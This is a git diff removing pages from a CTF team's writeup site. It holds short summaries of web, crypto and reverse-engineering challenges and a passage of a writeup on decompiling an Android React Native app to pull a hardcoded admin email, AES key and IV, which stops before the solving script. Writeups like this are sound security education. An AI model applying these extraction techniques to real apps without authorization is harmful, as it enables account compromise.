- ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk -
- -
-
- - -
-
- Telemetry -
-
- Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). -
- -
-
- - -
-
- Ulisse CTF 2025 -
-
- Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/3/index.html b/public/writeups/page/3/index.html deleted file mode 100644 index 0ab77103..00000000 --- a/public/writeups/page/3/index.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- Key in the haystack -
-
- Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. -
- -
-
- - -
-
- K!nd4SUS CTF 2025 -
-
- K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack -
- -
-
- - -
-
- Confusion -
-
- Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? -Introduction Confusion was a crypto CTF from Srdnlen CTF 2025. -#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(&quot;FLAG&quot;, &quot;srdnlen{REDACTED}&quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os. -
- -
-
- - -
-
- Online Python Editor -
-
- Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file -
- -
-
- - -
-
- Speed -
-
- Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/4/index.html b/public/writeups/page/4/index.html deleted file mode 100644 index a29e46f3..00000000 --- a/public/writeups/page/4/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- Ben 10 -
-
- Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. -
- -
-
- - -
-
- TRX CTF 2025 -
-
- TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! -
- -
-
- - -
-
- Srdnlen CTF 2025 -
-
- Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. -
- -
-
- - -
-
- Locked Door -
-
- Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... -
- -
-
- - -
-
- DroidCryptor -
-
- DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/5/index.html b/public/writeups/page/5/index.html deleted file mode 100644 index 80168d3b..00000000 --- a/public/writeups/page/5/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- GoSecureIt -
-
- GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. -
- -
-
- - -
-
- ImgPlace -
-
- ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description -
- -
-
- - -
-
- m0leCon 2025 Beginner CTF -
-
- m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace -
- -
-
- - -
-
- SmallAuth -
-
- SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). -
- -
-
- - -
-
- MovieReviewApp -
-
- MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/6/index.html b/public/writeups/page/6/index.html deleted file mode 100644 index 154010fb..00000000 --- a/public/writeups/page/6/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- b64SiteViewer -
-
- b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands -
- -
-
- - -
-
- Loan App -
-
- Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. -
- -
-
- - -
-
- Rivest, Shamir, Adleman 2 -
-
- Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) -
- -
-
- - -
-
- Rivest, Shamir, Adleman 1 -
-
- Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. -
- -
-
- - -
-
- IRON CTF 2024 -
-
- IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/7/index.html b/public/writeups/page/7/index.html deleted file mode 100644 index 14836447..00000000 --- a/public/writeups/page/7/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- PatriotCTF 2024 -
-
- Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; -
- -
-
- - -
-
- m0leCon CTF 2025 Teaser -
-
- m0leCon CTF 2025 Teaser Description m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino. -Url Discord Performance Summary CTFs: 1/18 Total points: 100 Position: 71/500 Rating points: 2.920 Writeups Crypto Yet Another OT -
- -
-
- - -
-
- Yet Another OT -
-
- Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. -
- -
-
- - -
-
- Snake -
-
- Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. -
- -
-
- - -
-
- Feature Unlocked -
-
- Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/8/index.html b/public/writeups/page/8/index.html deleted file mode 100644 index 47f09b4f..00000000 --- a/public/writeups/page/8/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- ZipZone -
-
- Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. -
- -
-
- - -
-
- Trendz -
-
- Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! -
- -
-
- - -
-
- trendy windy trigonity -
-
- Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. -
- -
-
- - -
-
- CyberSpace CTF 2024 -
-
- CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake -
- -
-
- - -
-
- Miku vs. Machine -
-
- Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/page/9/index.html b/public/writeups/page/9/index.html deleted file mode 100644 index 98bf1737..00000000 --- a/public/writeups/page/9/index.html +++ /dev/null @@ -1,404 +0,0 @@ - - - - - - - - - - - Writeup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - - - - - - -
- - -
-
- Crack Me -
-
- Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. -
- -
-
- - -
-
- Some Trick -
-
- Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. -
- -
-
- - -
-
- SekaiCTF 2024 -
-
- SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. -
- -
-
- - -
-
- Hello -
-
- Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? -
- -
-
- - -
-
- IdekCTF 2024 -
-
- IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello -
- -
-
- - - -
- - - - - -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/patriotctf2024/index.html b/public/writeups/patriotctf2024/index.html deleted file mode 100644 index b1181595..00000000 --- a/public/writeups/patriotctf2024/index.html +++ /dev/null @@ -1,381 +0,0 @@ - - - - - - - - - - - PatriotCTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
CTF
- - -
Web
- - -
Reverse
- - -
Crypto
- - -
Pwn
- - -
Misc
- - -
Osint
- - -
- -
-

- Last edit: Sep 27, 2024 -

-
- - -
- - - -
- - - - - - -

Patrioc CTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

PatriotCTF is an online jeopardy-style CTF hosted by George Mason University’s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 32/65
  • -
  • Total points: 5308
  • -
  • Position: 63/1360
  • -
  • Rating points: 9.735
  • -
- -

Writeups - - - - - - - - -

- -

No writeups today…

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/sekaictf/index.html b/public/writeups/sekaictf/index.html deleted file mode 100644 index b6d40e08..00000000 --- a/public/writeups/sekaictf/index.html +++ /dev/null @@ -1,395 +0,0 @@ - - - - - - - - SekaiCTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Sekai
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - - -

SekaiCTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 3/34
  • -
  • Total points: 369
  • -
  • Position: 136/1230
  • -
  • Rating points: 2.721
  • -
- -

Writeups - - - - - - - - -

- - -

Rev - - - - - - - - -

- - - -

Crypto - - - - - - - - -

- - - -

PPC (Professional Programming & Coding) - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/sekaictf2024/crackme/index.html b/public/writeups/sekaictf2024/crackme/index.html deleted file mode 100644 index b99135a7..00000000 --- a/public/writeups/sekaictf2024/crackme/index.html +++ /dev/null @@ -1,724 +0,0 @@ - - - - - - - - - - - Crack Me - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
Rev
- - -
Mobile
- - -
Javascript/Java
- - -
Information leaking
- - -
100
- - -
187
- - -
Sahuang
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - -

Crack Me

-

Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag?

- -

Introduction - - - - - - - - -

- -

First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. -The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does.

-
- img-app1 - img-app1 -
-

As you can see, the app doesn’t allow us to do much more than press the button and log in (without being able to register).

- -

First step - - - - - - - - -

- -

The first thing I did was to analyse the apk using an online tool. SISIK

-

And two interesting pieces of information came up: the first was that it was a react-native app, which helps us a lot in reverse, and that the app was using firebase to handle the backend and probably authentication as well.

- -

Second Step - - - - - - - - -

- -

The apk is actually a compressed set of java files like a zipper and tar, this then allows us to easily extract the contents with any tool like unzip or 7z (in my case I used extract which is a utils of zsh).

-

Once we have extracted the contents we should find something like this

-

alt text

-

As we can see, we have a huge number of files, but this is where tools like grep or fzf come in.

-

This allows us to search for files based on keywords as in my case: admin,sekai,user,password

-

After some research we can find us an obfuscated js file named: index.android.bundle

-

After some research we can find there a file named index.android.bundle with some obfuscated javascript inside, knowing that the application is written in react-native and that inside this file there are keywords like: admin,sekai,password, it is definitely an interesting file.

- -

Third Step - - - - - - - - -

- -

One possible idea might be a react-native app decompiler, which fortunately exists and is easy to find in the case I used: React Native Decompiler

-

Once installed, and running the command react-native-decompiler index.android.bundle -o bundle_deobfuscated, we should find about 800 js files, a bit confusing but understandable with a little effort.

- -

Fourth Step - - - - - - - - -

- -

We can reuse grep and fzf to search again for the words of interest.

-

By searching, we manage to find a really interesting file, in which we find the login system that is done in the application.

-
function _() {
-  var e, o;
-  module25.default(this, _);
-  (e = L.call(this, ...args)).state = {
-    email: "",
-    password: "",
-    wrongEmail: false,
-    wrongPwd: false,
-    checked: false,
-    verifying: false,
-    errorTitle: "",
-    errorMessage: "",
-  };
-  e._verifyEmail =
-    ((o = module275.default(function* (t) {
-      t.setState({
-        verifying: true,
-      });
-      var n = module478.initializeApp(module477.default),
-        o = module486.getDatabase(n);
-      if (
-        "admin@sekai.team" !== t.state.email ||
-        false === e.validatePassword(t.state.password)
-      )
-        console.log("Not an admin account.");
-      else console.log("You are an admin...This could be useful.");
-      var s = module488.getAuth(n);
-      module488
-        .signInWithEmailAndPassword(s, t.state.email, t.state.password)
-        .then(function (e) {
-          t.setState({
-            verifying: false,
-          });
-          var n = module486.ref(o, "users/" + e.user.uid + "/flag");
-          module486.onValue(n, function () {
-            t.setState({
-              verifying: false,
-            });
-            t.setState({
-              errorTitle: "Hello Admin",
-              errorMessage: "Keep digging, you are almost there!",
-            });
-            t.AlertPro.open();
-          });
-        })
-        .catch(function (e) {
-          // Different error messages
-        });
-    })),
-    function (e) {
-      return o.apply(this, arguments);
-    });
-
-  e.validatePassword = function (e) {
-    if (17 !== e.length) return false;
-    var t = module700.default.enc.Utf8.parse(module456.default.KEY),
-      n = module700.default.enc.Utf8.parse(module456.default.IV);
-    return (
-      "03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524" ===
-      module700.default.AES.encrypt(e, t, {
-        iv: n,
-      }).ciphertext.toString(module700.default.enc.Hex)
-    );
-  };
-}
-
-

Now let’s analyse the operation of the login… as we can see the email that checks for the login is only one, that of the admin admin@sekai.team and the password is checked with a function in particular validatePassword.

-

Going to analyse the function, we see that the decryption of a hex string is done via AES, but even more important detail, the IV and the Key are imported from another file, by analysing the form in question we can find out the value of the IV and the Key.

-
var _ = {
-  LOGIN: "LOGIN",
-  EMAIL_PLACEHOLDER: "user@sekai.team",
-  PASSWORD_PLACEHOLDER: "password",
-  BEGIN: "CRACKME",
-  SIGNUP: "SIGN UP",
-  LOGOUT: "LOGOUT",
-  KEY: "react_native_expo_version_47.0.0",
-  IV: "__sekaictf2023__",
-};
-exports.default = _;
-
-

This allows us to easily find the password even with a trivial Python script like this one:

-

